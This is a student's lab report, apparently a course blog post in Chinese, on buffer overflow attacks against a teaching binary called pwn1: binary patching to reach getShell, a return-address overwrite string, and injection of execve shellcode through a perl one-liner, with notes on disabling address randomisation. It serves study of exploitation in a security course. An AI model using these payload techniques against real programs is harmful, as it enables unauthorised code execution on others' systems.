20222419 2024-2025-1 《网络与系统攻防技术》实验一实验报告

1.实验内容

1.1本周学习内容

(1)了解了缓冲区溢出发展历史:红色代码、冲击波病毒、震荡波病毒、心脏出血、乌克兰断网、勒索病毒。
(2)了解了缓冲区溢出漏洞的本质和危害:缓冲区溢出漏洞是由于程序没有进行严格的内存越界检查,导致数据溢出并覆盖相邻内存空间,从而可能被攻击者利用执行恶意代码。这种漏洞可能导致程序崩溃、数据泄露、系统被控等严重后果。
(3)了解了缓冲区溢出基础知识,比如编译器和调试器、汇编语言、进程内存管理、函数调用过程以及相关寄存器的操作。
(4)了解了缓冲区溢出的防范技术

源程序检查: 通过静态检查和动态测试,及时发现潜在的缓冲区溢出漏洞。
不可执行的缓冲区: 使堆栈数据空间不能执行程序,防止攻击者植入恶意代码。
数组边界检查: 在编译时检查数组操作是否越界,避免溢出发生。
运行时拦截检查: 通过不安全函数检查和数据完整性检查,及时发现和阻止缓冲区溢出攻击。

1.2实验内容

本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
  • 注入一个自己制作的shellcode并运行这段shellcode。

这几种思路,基本代表现实情况中的攻击目标:

  • 运行原本不可访问的代码片段
  • 强行修改程序执行流
  • 以及注入运行任意代码。

2.实验过程

2.1直接修改程序机器指令,改变程序执行流程。

(1)下载目标文件pwn1,将文件名改为pwn20222419并复制一份

(2)反汇编。

(3)修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff。

(4)再反汇编看一下,call指令是否正确调用getShell

(5)运行下改后的代码,得到shell提示符

2.2通过构造输入参数,造成BOF攻击,改变程序执行流

(1)反汇编,了解程序的基本功能
这里读入字符串,但系统只预留了28字节的缓冲区,超出部分会造成溢出

上面的call调用foo,同时在堆栈上压上返回地址值:80484ba

(2)确认输入字符串哪几个字符会覆盖到返回地址
第一次可以看到eip地址为0x35353535,表明已经发生了覆盖;
第二次对应的eip地址为0x34333231

(3)确认用什么值来覆盖返回地址
前通过反汇编得到的getShell的地址0x0804847d,可以确定我们的输入可以构造为11111111222222223333333344444444\x7d\x84\x04\x08
(4)构造输入字符串

将input的输入,通过管道符“|”,作为pwn20222419的输入。

2.3注入Shellcode并执行

(1)准备一段Shellcode

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\

(2)准备工作

(3)构造要注入的payload
Linux下有两种基本构造攻击buf的方法:

retaddr+nop+shellcode
nop+shellcode+retaddr

结构为:nops+shellcode+retaddr并注入这段攻击buf:

再开另外一个终端,用gdb来调试pwn20222419这个进程。

将返回地址改为0xffffd390,发现并没有成功

重新开始

结构为:anything+retaddr+nops+shellcode,地址是 0xffffd3ac+4=0xffffd3b0
所以为:

perl -e 'print "A" x 32;print "\xb0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

3.问题及解决方案

  • 问题1:一开始无法下载execstack

  • 问题1解决方案:根据链接https://blog.csdn.net/weixin_43729943/article/details/104221462成功解决问题

  • 问题2:知道esp地址后也一直无法成功注入shellcode,后来发现esp地址在发生变化

  • 问题2解决方案:第一天晚上关闭了地址随机化,后来电脑自动睡眠,虚拟机重新启动没有关闭地址随机化,导致esp地址在发生变化,后来重新关闭地址随机化成功注入shellcode。

4.学习感悟、思考等

实验尽量一次性完成,不然电脑自动睡眠后虚拟机是否发生变化不可知,需要重头再来才保险。
通过修改可执行文件,我知道了如何通过修改流程来实现预期目标。在构建溢出字符串的过程中,我认识到了缓冲区溢出漏洞的原理,以及数据如何因过量输入而覆盖地址指令,从而实现控制程序执行的目的。此外,我还掌握了 GDB 调试工具的使用方法。
在尝试编写 shellcode 的过程中,我初步理解了 shellcode 的概念,以及如何将 shellcode 注入并执行于正常运行程序中。

posted on 2024-10-10 14:40  CL_Tomoyo  阅读(10)  评论(0编辑  收藏  举报